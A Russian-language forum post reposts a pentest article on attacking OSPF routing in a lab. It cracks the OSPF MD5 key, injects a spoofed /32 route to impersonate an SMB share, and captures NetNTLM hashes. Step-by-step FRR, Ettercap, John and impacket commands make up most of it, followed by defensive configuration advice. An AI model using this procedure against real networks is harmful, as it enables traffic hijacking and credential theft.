• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атака Базарова. Evil Twin поверх динамической маршрутизации

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Атаки на домены динамической маршрутизации могут устроить настоящий хаос в сети, так как нарушают сам процесс маршрутизации. В этой статье я поделюсь своей модификацией атаки Evil Twin для перехвата данных в сетях на основе протокола OSPF. Также продемонстрирую способ подключения к автономной системе, покажу, как можно обойти аутентификацию и выполнить вредоносную LSU-инъекцию.

КАК РАБОТАЕТ OSPF​

OSPF (open shortest path first) — это протокол внутридоменной динамической маршрутизации, основанный на математическом алгоритме Эдсгера Дейкстры. Это link-state-протокол, и во время передачи данных по OSPF анализируется состояние канала. На основе состояния канала OSPF структурирует таблицы маршрутизации, поддерживает их актуальность и выполняет автоматический обмен маршрутной информацией со своими соседями. OSPF — открытый стандарт, который поддерживают все вендоры сетевого оборудования. И это самый распространенный протокол внутридоменной маршрутизации в рамках продакшена.

В этой статье я буду говорить о второй версии OSPF. Характеристики ее таковы:
  • OSPF для трансляции служебной информации использует IP-адрес групповой рассылки 224.0.0.5;
  • поддерживает IPv4;
  • работает исключительно на сетевом уровне;
  • в качестве объявлений состояния каналов использует сообщения LSA (link-state advertisement);
  • поддерживает VLSM;
  • имеет высокий коэффициент уровня сходимости по сравнению с дистанционно‑векторными протоколами;
  • строит дерево кратчайших путей (так как основан на алгоритме Дейкстры);
  • использует формулу reference bandwidth / link bandwidth для оценки стоимости маршрута. То есть константа полосы пропускания делится на фактическую скорость полосы пропускания. Однако значение reference bandwdith может быть изменено.
Установление соседства в OSPF


Что может помешать атакующему?​

Протокол OSPF атаковать куда сложнее, чем его родственников — дистанционно‑векторные протоколы маршрутизации (например, RIP или EIGRP). Обозначу основные проблемы:
  • AS OSPF может быть разбита на зоны. Инженеры могут спроектировать домен маршрутизации OSPF с несколькими зонами, чтобы уменьшить нагрузку на вычислительные ресурсы маршрутизаторов. Нужно учитывать это в домене маршрутизации OSPF, как и возможность прохождения пакетов между этими зонами. Например, если ты собираешься выполнять инъекции маршрутов.
  • Наличие пакетов приветствия Hello. Подключиться к домену маршрутизации OSPF будет возможно, если сетевой администратор не позаботился о конфигурации пассивных интерфейсов, сама конфигурация позволяет отключать рассылку пакетов приветствия на уровне самих анонсируемых сетей. Если в сетевом анализаторе не встретишь пакеты OSPF — либо OSPF нет, либо настроены пассивные интерфейсы. А это делает невозможным проведение атаки на домен динамической маршрутизации.

ВМЕШАТЕЛЬСТВО В ПРОЦЕСС МАРШРУТИЗАЦИИ​

Чтобы атаковать домен динамической маршрутизации, нужно подключиться непосредственно к самому процессу маршрутизации. Это можно сделать через настоящий роутер (имею в виду железку) либо воспользоваться FRR.

FRRouting — это специальный виртуальный маршрутизатор, который может интегрироваться с твоей ОС и работать как настоящий роутер. Очень крутая штука, поскольку поддерживает множество интересных протоколов: BGP, IS-IS, OSPF, EIGRP, VRRP, BFD и так далее. В этой статье я воспользуюсь именно FRR.

В первую очередь нужно активировать демоны FRR. За каждый протокол будет отвечать отдельный демон. Нам понадобятся демоны ospfd и staticd.
Код:
root@kali:~# nano /etc/frr/daemons
ospfd=yes
staticd=yes
Перед запуском демона переключаем сетевой интерфейс в promiscuous mode, разрешаем маршрутизацию и активируем работу NAT Helper (NFCONNTRACK).
Код:
in9uz@kali:~$ sudo ip link set eth0 promisc on
in9uz@kali:~$ sudo sysctl -w net.ipv4.ip_forward=1
in9uz@kali:~$ sudo modprobe nf_conntrack
root@kali:~# echo "1" > /proc/sys/net/netfilter/nf_conntrack_helper
После этого включаем демон FRR и проверяем его состояние.
Код:
in9uz@kali:~$ sudo systemctl start frr
in9uz@kali:~$ sudo systemctl status frr
Состояние FRR

С помощью команды vtysh попадаем на панель управления маршрутизатором:
Код:
in9uz@kali:~$ sudo vtysh
kali# show ver
Панель управления FRR


Структура лабораторной сети​

В качестве лаборатории мы с тобой выстроим трехуровневую сеть. Для SMB-шары я выделил отдельный сегмент (WAREHOUSE), но на самом деле это просто коммутатор уровня распределения. Также есть несколько виртуальных сетей, они находятся на коммутаторах уровня доступа, а на коммутаторах уровня распределения происходит уже маршрутизация между самими VLAN.

Отказоустойчивость сети обеспечивает HSRPv2. Начиная с уровня распределения, я настроил динамическую маршрутизацию OSPF, все хранится в нулевой BACKBONE-зоне.

Топология лабораторной сети

  • 10.10.20.1 — Fake (VLAN 20) (Windows 10 LTSC);
  • 10.10.30.1 — Boundless (VLAN 30) (Windows 10 LTSC);
  • 10.10.50.2 — Attacker (VLAN 50) (Kali Linux);
  • 10.10.50.100 — Dist-SW1 (HSRPv2 Active) (Cisco vIOS L2 Image);
  • 10.10.50.101 — Dist-SW2 (HSRPv2 Standby) (Cisco vIOS L2 Image);
  • 192.168.100.1 — SMB Share (Windows Server 2019 Standard).

Анализ трафика​

Первым делом нам нужно изучить трафик OSPF, узнать об ID зоны, наличии аутентификации, router-id и так далее. Из пакета OSPF Hello, полученного от Dist-SW1 (10.10.50.100), можно заметить, что используется нулевая зона 0.0.0.0.

Дамп OSPF-трафика

Также используется MD5-аутентификация. Она не позволяет неаутентифицированным роутерам входить в процесс маршрутизации. Не зная ключ, подключиться к сети OSPF не выйдет.

ОБХОД АУТЕНТИФИКАЦИИ (AUTHENTICATION BYPASSING)​

Характеристики ключа

На скриншоте некоторые характеристики ключа. Идентификатор ключа (ID) — единица.

Для сниффинга криптографического MD5-хеша воспользуемся утилитой Ettercap. Перед этим переключаемся в promisc.
Код:
in9uz@kali:~$ sudo ip link set eth0 promisc on
in9uz@kali:~$ sudo ettercap -G
Ettercap обнаружил MD5-хеш

Копируем эти хеши и брутим. Кстати говоря, очень удобно, что хеши сразу представлены в формате John the Ripper.
Код:
in9uz@kali:~$ cat >> ospf-hashes
in9uz@kali:~$ john ospf-hashes --wordlist=ospfwordlist
Взломанный пароль от домена OSPF

Пароль удалось сбрутить, это flatl1ne. С этим ключом мы можем подключиться к сети OSPF.

EVIL TWIN И ПЕРЕХВАТ NETNTLM​


Начало атаки​

Основной принцип атаки заключается в редистрибуции статического маршрута в сеть OSPF с наименьшей метрикой. Эта сеть выступит в качестве вектора для инъекции ложного маршрута. FRR позволяет оперировать статической маршрутизацией и ее редистрибуцией, что освобождает нас от использования дискретных утилит (Loki, Scapy и прочих).

Мы выполним спуфинг хоста SMB Share с адресом 192.168.100.1/32. А именно с помощью инжекта адреса SMB-шары. Инжект представляет собой LSA-сообщение пятого типа, будет сгенерировано сообщение LSU (link-state update), после чего легитимный маршрутизатор примет наш инжект и поместит его в таблицу маршрутизации, а также сообщит остальным соседям об этом объявлении.
Код:
kali# conf ter
kali(config)# router ospf
kali(config-router) network 10.10.50.3/32 area 0.0.0.0
kali(config-router) redistribute static metric 0

В таблице маршрутизации хранятся только лучшие маршруты. У твоего инжекта должны быть наилучшие характеристики, а именно административное расстояние и метрика.
От административного расстояния (АР) зависит предпочтительность маршрута. Чем выше это значение, тем меньше вероятность, что маршрут будет выбран. Значение АР для OSPF эквивалентно 110.

Также у нас есть стоимость маршрута. С помощью FRR мы укажем на редистрибуцию статического маршрута с нулевой стоимостью. Чем эта метрика ниже, тем маршрут более предпочтителен. И так как при инжекте мы указываем маску /32, шанс помещения инжекта в таблицу маршрутизации крайне велик. Потому что пакет, оказавшийся на маршрутизаторе, пойдет в сеть с наибольшей маской (а это будет в формате маршрута 192.168.100.1/32 via 10.10.50.2)

Структура инъекции:
Код:
kali(config)# ip route 192.168.100.1/32 eth0
Здесь
  • 192.168.100.1 — адрес целевого сервера;
  • /32 — маска подсети. Она эквивалентна 255.255.255.255;
  • eth0 — сетевой интерфейс атакующей системы. То есть в маршруте адресом следующего прыжка (next hop) будет наш хост.
Теперь нужно создать вторичный адрес на сетевом интерфейсе со значением адреса целевой SMB-шары, так как трафик будет ходить на наш хост по dst ip 192.168.100.1/32.
Код:
in9uz@kali:~$ sudo ifconfig eth0:1 192.168.100.1 netmask 255.255.255.255
Теперь весь трафик, предназначенный для той SMB-шары, пойдет в нашу сторону. После чего мы можем поднять простой SMB-сервер с помощью impacket и перехватить учетные данные пользователей в зашифрованном виде. Да, речь о NetNTLM-хешах. После этого их можно либо сбрутить (Bruteforce), либо отрелеить (NTLM Relay).

В итоге возникает атака Evil Twin, то есть «злой двойник».

Поднимем шару с помощью Impacket и запустим анализатор net-creds.py:
Код:
in9uz@kali:~$ sudo impacket-smbserver -smb2support sharePath /home/in9uz/smb-poc-share
in9uz@kali:~/toolkit/net-creds$ sudo python2 net-creds.py -i eth0
После начала атаки мы перехватываем огромное количество NetNTLM-хешей. Только посмотри на это!

Перехваченные NetNTLM-хеши пользователя intervalsabove

Попробуем сбрутить пароль этого пользователя.

Взломанный пароль

В итоге у нас есть креды intervalsabove:viewfromabove. Прикольно!

Вот таким образом можно перехватывать учетные данные пользователей. NTLM Relay тоже, кстати, работает корректно.

Атака NTLM Relay

Вмешиваясь в сам процесс маршрутизации, будь осторожен! Эта атака крайне агрессивна: когда пользователи будут стучаться к какой‑нибудь SMB-шаре за своими файлами, они ничего не найдут. Раз уж ты спуфишь саму шару, может быть, тебе удастся поднять ее копию. Однако вскоре ты соберешь достаточно хешей и можешь остановить атаку. Затягивать эксплуатацию не стоит, иначе легитимные сотрудники будут плакать, а пентест перестанет быть секретом.

Из‑за высокой скорости сходимости в OSPF после отмены анонса маршрута структура таблицы маршрутизации станет как прежде, до атаки. И это наступит очень быстро. Скорость сходимости равна четырем секундам. Однако все будет зависеть от размеров самой сети, поскольку все маршрутизаторы должны обновить свои таблицы. В общем, будь осторожен.
Код:
kali(config)# no ip route 192.168.100.1/32 eth0

КАК ЗАЩИТИТЬСЯ?​

Аутентификация​

Используй аутентификацию, и она не позволит неизвестным маршрутизаторам подключаться к автономным системам динамической маршрутизации. Только позаботься о том, чтобы сам ключ аутентификации был достаточно стойким и его так просто не сбрутили.

Пример настройки MD5-аутентификации в Cisco IOS:
Код:
Router(config)# interface GigabitEthernet X/X
Router(config-if)# ip ospf authentication message-digest
Router(config-if)# ip ospf message-digest-key 1 md5 y0uve_t4ken_y0ure_pr3c1ous_t1me

Используй пассивные интерфейсы​

Они запрещают тому или иному интерфейсу рассылать пакеты приветствия, что лишает пентестера шансов подключиться к домену маршрутизации. Навсегда.

Пример настройки пассивного интерфейса в Cisco IOS:
Код:
Router(config)# router ospf X
Router(config-if)# passive-interface GigabitEthernet X/X

ВЫВОДЫ​

Вот такие атаки возможны в сетях с мисконфигурацией доменов динамической маршрутизации. Злоумышленники могут использовать подобную технику вкупе с фишингом, что сделает атаку еще более опасной. Надеюсь, мое исследование поможет не им, а благонамеренным пентестерам, а сетевые администраторы начнут закрывать подобные дыры.


автор @in9uz Magama Bazarov
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх